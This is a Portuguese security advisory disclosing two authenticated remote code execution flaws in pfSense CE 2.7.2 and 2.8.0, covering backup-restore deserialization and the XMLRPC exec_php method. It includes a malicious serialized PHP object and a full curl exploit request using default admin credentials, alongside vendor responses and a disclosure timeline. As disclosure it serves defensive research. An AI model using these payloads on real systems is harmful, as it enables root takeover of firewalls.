
RCE autenticado no Netgate pfSense CE 2.7.2 e 2.8.0
Execução Remota de Código Autenticada no Netgate pfSense Community Edition
| Campo | Detalhes |
|---|---|
| Pesquisador | Nelson Adhepeau (@privlabs) |
| Fornecedor | Netgate |
| Produto | pfSense Community Edition |
| Versões | 2.7.2 e 2.8.0 |
| Tipo | Execução Remota de Código Autenticada |
| Divulgação | Fevereiro de 2026 |
| Fornecedor notificado | 2 de dezembro de 2025 |
| CVE atribuído | 28 de janeiro de 2026 |
Esta pesquisa foi conduzida em ambientes de laboratório isolados apenas para fins educacionais e de conscientização em segurança. Todas as descobertas foram divulgadas de forma responsável ao fornecedor antes da publicação. Este aviso não constitui um convite para atacar sistemas em produção. Testes não autorizados são ilegais.
| Campo | Valor |
|---|---|
| CVSS v3.1 | 8.8 (Alto) |
| Vetor | AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-502, CWE-915 |
| Tipo de Ataque | Autenticado (Admin) |
| Componente | Mecanismo de Backup/Restauração |
O mecanismo de restauração de configuração do pfSense invoca unserialize() em dados controlados pelo usuário sem lista de permissão de classes, validação de entrada ou sandboxing.
Um arquivo de backup manipulado contendo um objeto PHP serializado malicioso injeta comandos arbitrários através da propriedade post_reboot_commands, que são executados via mwexec() com privilégios totais de root.
[Atacante] → Login como admin
→ Envia arquivo de backup .xml malicioso
→ Aciona restauração
→ pfSense chama unserialize() nos dados do atacante
→ post_reboot_commands executado via mwexec()
→ [SHELL ROOT]
config.php — lógica de processamento de restauraçãopfsense_module_installer class — alvo de desserialização inseguramwexec() — ponto de execução de comandosO:23:"pfsense_module_installer":1:{
s:17:"*post_reboot_commands";
a:1:{
i:0;s:40:"/usr/local/bin/php -r 'system(\"id\");'";
}
}
"Reconhecido. Classificado como abuso administrativo autenticado. Nenhum patch será emitido." — Netgate
| Campo | Valor |
|---|---|
| CVSS v3.1 | 9.9 (Crítico) |
| Vetor | AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-284, CWE-915 |
| Tipo de Ataque | Autenticado (remoto, Autenticação Básica) |
| Componente | API XMLRPC — pfsense.exec_php |
O pfSense CE 2.8.0 expõe um método XMLRPC pfsense.exec_php que executa código PHP arbitrário como root sem validação, sandboxing ou qualquer forma de restrição.
O endpoint é:
admin:pfsense)[Atacante] → Envia requisição XMLRPC para /xmlrpc.php
→ Autentica com admin:pfsense (padrão)
→ Chama pfsense.exec_php com PHP arbitrário
→ Código é executado como root, sem sandboxing
→ [SHELL ROOT]
xmlrpc.php — ponto de entrada da APIpfsense.exec_php — execução dinâmica de código inseguracurl -k -u admin:pfsense \
-H "Content-Type: text/xml" \
-d '<methodCall>
<methodName>pfsense.exec_php</methodName>
<params>
<param>
<value><string>system("id");</string></value>
</param>
</params>
</methodCall>' \
https://<target>/xmlrpc.php
"Reconhecido. Classificado como comportamento esperado para usuários autenticados. Nenhum patch planejado." — Netgate
Novembro de 2025 → Vulnerabilidades descobertas
2 de dezembro de 2025 → Divulgação responsável à Netgate
→ Fornecedor reconheceu, sem patch planejado
28 de janeiro de 2026 → IDs CVE atribuídos pela MITRE
Fevereiro de 2026 → Divulgação pública
[email protected]Nelson Adhepeau — Pesquisador de Segurança Independente